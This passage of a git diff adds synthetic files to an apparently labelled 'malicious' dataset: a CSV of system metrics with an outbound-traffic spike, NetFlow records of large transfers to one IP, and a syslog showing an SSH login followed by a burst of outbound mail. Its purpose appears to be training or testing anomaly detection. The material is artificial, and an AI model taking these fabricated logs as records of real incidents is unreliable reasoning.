103.27.10.88:443, protocol: TCP, pkts: 7118, bytes: 10678215 +Aug 26 03:06:40 kernel: NetFlow: FLOW_RECORD 172.17.0.5:49256 -> 103.27.10.88:443, protocol: TCP, pkts: 9260, bytes: 13890832 +Aug 26 03:06:40 CRON[8901]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:06:50 kernel: NetFlow: FLOW_RECORD 172.17.0.5:44812 -> 103.27.10.88:443, protocol: TCP, pkts: 7712, bytes: 11568189 +Aug 26 03:07:00 kernel: NetFlow: FLOW_RECORD 172.17.0.5:40217 -> 103.27.10.88:443, protocol: TCP, pkts: 9246, bytes: 13870150 +Aug 26 03:07:10 kernel: NetFlow: FLOW_RECORD 172.17.0.5:43476 -> 103.27.10.88:443, protocol: TCP, pkts: 6863, bytes: 10295438 +Aug 26 03:07:20 kernel: NetFlow: FLOW_RECORD 172.17.0.5:46974 -> 103.27.10.88:443, protocol: TCP, pkts: 3749, bytes: 5624242 diff --git a/mali_dataset/scenario_5/mali_5_1.csv b/mali_dataset/scenario_5/mali_5_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..753a53021b9681922561d47194e784d9017f0e1f --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-05T14:20:00Z,12.51,41.39,21.99,0.87,1.63 +2025-08-05T14:20:05Z,18.72,43.91,18.41,1.01,1.42 +2025-08-05T14:20:10Z,17.09,43.68,21.86,1.44,1.41 +2025-08-05T14:20:15Z,11.64,35.33,22.1,0.53,2.41 +2025-08-05T14:20:20Z,12.64,41.58,20.76,1.01,1.37 +2025-08-05T14:20:25Z,11.82,35.5,24.64,0.61,2.41 +2025-08-05T14:20:30Z,15.58,40.35,16.43,0.63,1.09 +2025-08-05T14:20:35Z,11.99,42.02,20.72,1.01,1.62 +2025-08-05T14:20:40Z,15.42,37.97,22.64,1.33,2.33 +2025-08-05T14:20:45Z,16.44,41.74,18.14,1.16,1.82 +2025-08-05T14:20:50Z,16.36,39.5,19.26,0.61,2.14 +2025-08-05T14:20:55Z,10.1,40.21,22.74,0.91,1.53 +2025-08-05T14:21:00Z,19.21,41.24,21.01,0.96,1.95 +2025-08-05T14:21:05Z,13.45,43.77,22.58,0.69,1.21 +2025-08-05T14:21:10Z,17.12,44.06,22.92,1.13,1.46 +2025-08-05T14:21:15Z,15.8,36.53,18.8,0.71,1.01 +2025-08-05T14:21:20Z,13.66,36.96,19.24,0.99,1.83 +2025-08-05T14:21:25Z,18.0,41.52,19.01,1.08,2.38 +2025-08-05T14:21:30Z,12.19,40.44,16.1,1.44,2.48 +2025-08-05T14:21:35Z,16.0,41.31,23.92,0.94,1.59 +2025-08-05T14:21:40Z,41.5,41.81,22.96,1.33,39.66 +2025-08-05T14:21:45Z,33.46,41.87,20.94,1.7,43.68 +2025-08-05T14:21:50Z,62.97,43.99,29.58,0.88,24.92 +2025-08-05T14:21:55Z,40.05,46.94,23.74,1.54,20.56 +2025-08-05T14:22:00Z,34.77,48.64,22.64,1.94,45.62 +2025-08-05T14:22:05Z,47.6,46.31,21.49,1.32,42.3 +2025-08-05T14:22:10Z,43.22,47.46,23.25,1.03,27.2 +2025-08-05T14:22:15Z,42.76,42.52,27.54,0.57,33.19 +2025-08-05T14:22:20Z,30.36,46.39,23.16,1.45,26.39 +2025-08-05T14:22:25Z,50.21,44.69,20.37,1.16,45.09 +2025-08-05T14:22:30Z,62.08,46.95,24.42,1.82,37.62 +2025-08-05T14:22:35Z,69.54,44.63,29.3,1.72,47.52 +2025-08-05T14:22:40Z,33.03,45.34,19.43,1.56,30.1 +2025-08-05T14:22:45Z,48.35,40.22,21.67,1.0,40.08 +2025-08-05T14:22:50Z,67.59,43.45,27.15,0.68,24.84 +2025-08-05T14:22:55Z,41.03,47.76,22.98,0.51,25.68 +2025-08-05T14:23:00Z,42.58,49.56,26.64,1.94,44.74 +2025-08-05T14:23:05Z,40.48,42.11,20.54,1.06,37.21 +2025-08-05T14:23:10Z,59.41,45.86,28.03,1.37,38.6 +2025-08-05T14:23:15Z,67.64,49.02,19.4,1.18,47.57 +2025-08-05T14:23:20Z,25.0,44.8,18.64,1.26,41.48 +2025-08-05T14:23:25Z,55.02,45.55,29.07,0.85,40.39 +2025-08-05T14:23:30Z,44.73,41.01,28.96,1.5,28.88 +2025-08-05T14:23:35Z,29.26,47.42,24.58,1.85,23.1 +2025-08-05T14:23:40Z,41.56,46.7,21.91,1.78,38.96 +2025-08-05T14:23:45Z,54.56,48.6,29.39,0.66,45.48 +2025-08-05T14:23:50Z,35.86,46.35,28.44,1.6,44.11 +2025-08-05T14:23:55Z,68.66,41.54,24.7,0.69,27.08 +2025-08-05T14:24:00Z,23.95,49.99,18.36,0.67,31.42 +2025-08-05T14:24:05Z,65.57,45.01,21.61,0.58,41.62 +2025-08-05T14:24:10Z,72.24,42.89,18.53,0.83,22.55 +2025-08-05T14:24:15Z,61.29,40.2,18.6,1.55,41.28 +2025-08-05T14:24:20Z,62.96,48.68,19.56,1.23,27.24 +2025-08-05T14:24:25Z,26.97,40.14,21.01,0.98,44.93 +2025-08-05T14:24:30Z,42.52,48.03,26.37,1.02,26.61 +2025-08-05T14:24:35Z,66.87,41.95,18.58,0.92,37.99 +2025-08-05T14:24:40Z,29.12,44.01,23.37,0.99,41.53 +2025-08-05T14:24:45Z,46.61,44.86,28.52,1.92,42.11 +2025-08-05T14:24:50Z,20.32,48.54,21.47,0.96,26.61 +2025-08-05T14:24:55Z,54.15,44.76,29.25,0.74,32.15 +2025-08-05T14:25:00Z,52.7,47.85,27.79,1.32,24.92 +2025-08-05T14:25:05Z,40.16,47.99,20.57,1.76,20.97 +2025-08-05T14:25:10Z,59.53,44.54,27.24,0.76,41.78 +2025-08-05T14:25:15Z,36.56,41.91,28.03,1.21,45.13 +2025-08-05T14:25:20Z,24.16,42.8,21.69,1.3,21.21 +2025-08-05T14:25:25Z,31.97,44.72,26.04,0.99,38.62 +2025-08-05T14:25:30Z,66.02,48.13,27.04,0.85,28.07 +2025-08-05T14:25:35Z,24.82,43.79,28.52,1.79,25.93 +2025-08-05T14:25:40Z,51.95,46.07,28.19,0.61,23.43 +2025-08-05T14:25:45Z,55.58,43.33,22.56,1.52,34.42 +2025-08-05T14:25:50Z,25.77,47.53,27.26,1.83,22.33 +2025-08-05T14:25:55Z,69.35,45.4,25.35,1.21,29.76 +2025-08-05T14:26:00Z,31.82,40.99,20.16,0.84,29.76 +2025-08-05T14:26:05Z,45.61,49.17,23.17,0.65,28.86 +2025-08-05T14:26:10Z,42.12,48.87,27.18,1.62,23.23 +2025-08-05T14:26:15Z,48.25,49.61,21.85,0.83,42.45 +2025-08-05T14:26:20Z,58.97,45.74,28.41,0.65,41.01 +2025-08-05T14:26:25Z,45.21,41.58,29.76,1.29,30.86 +2025-08-05T14:26:30Z,60.25,44.21,22.19,0.78,44.74 +2025-08-05T14:26:35Z,30.35,49.9,26.4,0.54,38.37 +2025-08-05T14:26:40Z,59.69,48.23,25.65,1.32,38.37 +2025-08-05T14:26:45Z,53.35,40.46,19.05,1.73,34.33 +2025-08-05T14:26:50Z,46.18,42.2,22.31,1.43,41.76 +2025-08-05T14:26:55Z,58.9,46.95,19.66,1.44,35.73 +2025-08-05T14:27:00Z,53.11,44.63,25.46,0.76,41.06 +2025-08-05T14:27:05Z,70.55,47.15,23.08,1.19,37.95 +2025-08-05T14:27:10Z,53.99,46.63,28.54,1.13,34.79 +2025-08-05T14:27:15Z,74.77,41.5,18.24,0.52,41.66 +2025-08-05T14:27:20Z,49.87,48.83,21.18,1.01,20.85 +2025-08-05T14:27:25Z,33.51,41.64,18.92,1.83,36.8 diff --git a/mali_dataset/scenario_5/mali_5_1.log b/mali_dataset/scenario_5/mali_5_1.log new file mode 100644 index 0000000000000000000000000000000000000000..325a335578d80fa6f4a2e927494c69f58c06a9c4 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_1.log @@ -0,0 +1,257 @@ +Aug 05 14:20:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 05 14:20:12 server systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 05 14:20:35 server sshd[8288]: Accepted password for user admin from 70.208.2.185 port 51234 ssh2 +Aug 05 14:21:00 server CRON[9596]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 05 14:21:41 server postfix/smtp[19214]: 978F832D7D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:43 server postfix/smtp[19212]: B03EE1FA45: to=, from=, relay=user-mail.info[133.120.180.38]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:21:44 server postfix/smtp[19213]: AEAF8C99A1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:45 server postfix/smtp[19215]: 99CD706270: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:46 server postfix/smtp[19217]: F008FAFEF2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:49 server postfix/smtp[19216]: 51FE079D7D: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:49 server postfix/smtp[19218]: E7E72634D7: to=, from=, relay=example.com[198.127.161.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:21:51 server postfix/smtp[19219]: 6D28260D2F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:51 server postfix/smtp[19222]: 71A3E3AB6B: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:54 server postfix/smtp[19220]: D1BA55F82C: to=, from=, relay=business.biz[110.108.88.46]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:21:54 server postfix/smtp[19221]: BBA2BB5CA9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:21:56 server postfix/smtp[19223]: 1F727A4224: to=, from=, relay=user-mail.info[205.113.94.83]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:21:57 server postfix/smtp[19224]: A434336510: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:00 server postfix/smtp[19225]: 8F13F32A6E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:00 server postfix/smtp[19226]: 78CD718359: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:02 server postfix/smtp[19229]: 5C08CC230E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:04 server postfix/smtp[19227]: 340B1359BB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:04 server postfix/smtp[19228]: CA885AD93F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:05 server postfix/smtp[19231]: 2506FA1AC4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:05 server postfix/smtp[19232]: 972128DE13: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:08 server postfix/smtp[19230]: 0A1A16C526: to=, from=, relay=web-host.org[197.144.165.168]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:11 server postfix/smtp[19233]: 5CCBAFBF1F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:11 server postfix/smtp[19234]: 6BDB2910A0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:15 server postfix/smtp[19237]: 7B17A6BDA3: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:16 server postfix/smtp[19236]: BF36EF929C: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:17 server postfix/smtp[19235]: 400BC74298: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:20 server postfix/smtp[19240]: A15C457487: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:21 server postfix/smtp[19238]: 6E5EDB2ED9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:21 server postfix/smtp[19241]: 928A3EBD2A: to=, from=, relay=web-host.org[125.137.199.203]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:23 server postfix/smtp[19239]: D2B009AFCF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:25 server postfix/smtp[19242]: C7E3E9B854: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:25 server postfix/smtp[19243]: 1AFD9EAF85: to=, from=, relay=web-host.org[31.74.229.49]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:32 server postfix/smtp[19246]: 84F04FBF30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:34 server postfix/smtp[19244]: A6E695BD97: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:34 server postfix/smtp[19245]: 65D57054FC: to=, from=, relay=user-mail.info[10.33.197.6]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:34 server postfix/smtp[19247]: E7A1707FF1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:36 server postfix/smtp[19249]: CBAF5278EB: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:37 server postfix/smtp[19248]: BDDBB92E35: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:40 server postfix/smtp[19250]: 6852D53483: to=, from=, relay=web-host.org[113.223.77.6]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:42 server postfix/smtp[19252]: 5CA63F0AF9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:43 server postfix/smtp[19251]: 790F8A6A66: to=, from=, relay=business.biz[106.176.18.210]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:44 server postfix/smtp[19253]: C5EAB06C07: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:45 server postfix/smtp[19254]: 165368F175: to=, from=, relay=web-host.org[24.35.127.61]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:22:46 server postfix/smtp[19255]: ABB82779A5: to=, from=, relay=mailservice.net[64.199.36.164]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:22:46 server postfix/smtp[19257]: FAF0D0C58E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:49 server postfix/smtp[19256]: D8754C77C8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:51 server postfix/smtp[19259]: 4CAF302790: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:51 server postfix/smtp[19260]: 9BA410364E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:54 server postfix/smtp[19258]: 05E8DDE579: to=, from=, relay=business.biz[138.203.135.113]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:22:54 server postfix/smtp[19261]: 5549B39641: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:55 server postfix/smtp[19262]: 8AD2E3F081: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:22:55 server postfix/smtp[19263]: 0997599953: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:00 server postfix/smtp[19265]: 42EB600504: to=, from=, relay=mailservice.net[184.47.97.72]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:02 server postfix/smtp[19264]: 7A4865120C: to=, from=, relay=mailservice.net[2.212.181.82]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:02 server postfix/smtp[19266]: 90295C2792: to=, from=, relay=user-mail.info[195.100.150.95]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:04 server postfix/smtp[19267]: 472EEB9DB1: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19268]: D5EE6C714F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19270]: 61D76474EA: to=, from=, relay=user-mail.info[181.170.129.166]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:07 server postfix/smtp[19271]: C745700035: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:07 server postfix/smtp[19272]: 0A49AB6919: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:09 server postfix/smtp[19269]: 158C638547: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:10 server postfix/smtp[19276]: 60E432F385: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:13 server postfix/smtp[19273]: 59CA4B5942: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:14 server postfix/smtp[19274]: 1474D20EF0: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:14 server postfix/smtp[19275]: 673268242A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:15 server postfix/smtp[19277]: EDF710DB08: to=, from=, relay=web-host.org[146.84.31.29]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:16 server postfix/smtp[19279]: C006A60061: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:17 server postfix/smtp[19278]: 51EC576224: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:20 server postfix/smtp[19282]: B2862DCEA9: to=, from=, relay=web-host.org[122.83.79.124]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:21 server postfix/smtp[19281]: 61FCE289DF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:22 server postfix/smtp[19280]: C321A2E834: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:22 server postfix/smtp[19283]: 78B65F229E: to=, from=, relay=user-mail.info[225.151.183.73]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:25 server postfix/smtp[19284]: A36BBF7BE2: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:27 server postfix/smtp[19285]: 2ED0E95141: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:28 server postfix/smtp[19286]: 8886EAE0AA: to=, from=, relay=web-host.org[223.77.47.224]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:31 server postfix/smtp[19287]: A04692CAD5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:31 server postfix/smtp[19288]: AEDA0CFC54: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:32 server postfix/smtp[19289]: 83EA76C314: to=, from=, relay=example.com[53.117.7.113]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:35 server postfix/smtp[19291]: 30D903307F: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:37 server postfix/smtp[19292]: 70E0638766: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:37 server postfix/smtp[19293]: D4EADDE690: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:38 server postfix/smtp[19294]: C67F5528A0: to=, from=, relay=user-mail.info[209.85.38.112]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:39 server postfix/smtp[19290]: 6E27711A30: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:40 server postfix/smtp[19295]: 7406906B5E: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:43 server postfix/smtp[19296]: F3BF45E22A: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:43 server postfix/smtp[19297]: 3CBB9B55F7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:44 server postfix/smtp[19298]: 3AE99CCC3A: to=, from=, relay=web-host.org[101.78.28.26]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 05 14:23:45 server postfix/smtp[19299]: 23B5A24D57: to=, from=, relay=web-host.org[124.191.188.172]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:45 server postfix/smtp[19300]: 87561376A7: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:50 server postfix/smtp[19301]: 6CE462E2E8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:52 server postfix/smtp[19302]: F56ECCAB81: to=, from=, relay=user-mail.info[106.198.53.190]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:23:52 server postfix/smtp[19304]: F7C57AE919: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:53 server postfix/smtp[19303]: E063C173E9: to=, from=, relay=mailservice.net[162.118.195.243]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:23:57 server postfix/smtp[19305]: FF0ADF0686: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:23:58 server postfix/smtp[19306]: 6F756D33BD: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:00 server postfix/smtp[19309]: 740D556CD4: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:00 server postfix/smtp[19310]: 8332F6BAFE: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:02 server postfix/smtp[19307]: 9C9068113B: to=, from=, relay=business.biz[168.23.47.27]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 05 14:24:02 server postfix/smtp[19308]: ADD3A69D52: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:04 server postfix/smtp[19311]: 9B3C04879F: to=, from=, relay=example.com[206.97.185.146]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 05 14:24:05 server postfix/smtp[19314]: EE6B7A82B6: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:06 server postfix/smtp[19312]: C59492DEC9: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:06 server postfix/smtp[19315]: ED619C21C8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:08 server postfix/smtp[19313]: 5BD2E72FE8: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:10 server postfix/smtp[19317]: DBD8259F38: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:11 server postfix/smtp[19316]: 5A8D986FC5: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:16 server postfix/smtp[19319]: FE3DBA4959: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 05 14:24:16 server postfix/smtp[19320]: 0241B3DDEF: to=, from=, relay=aspmx.l.google.com[142.250.150.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 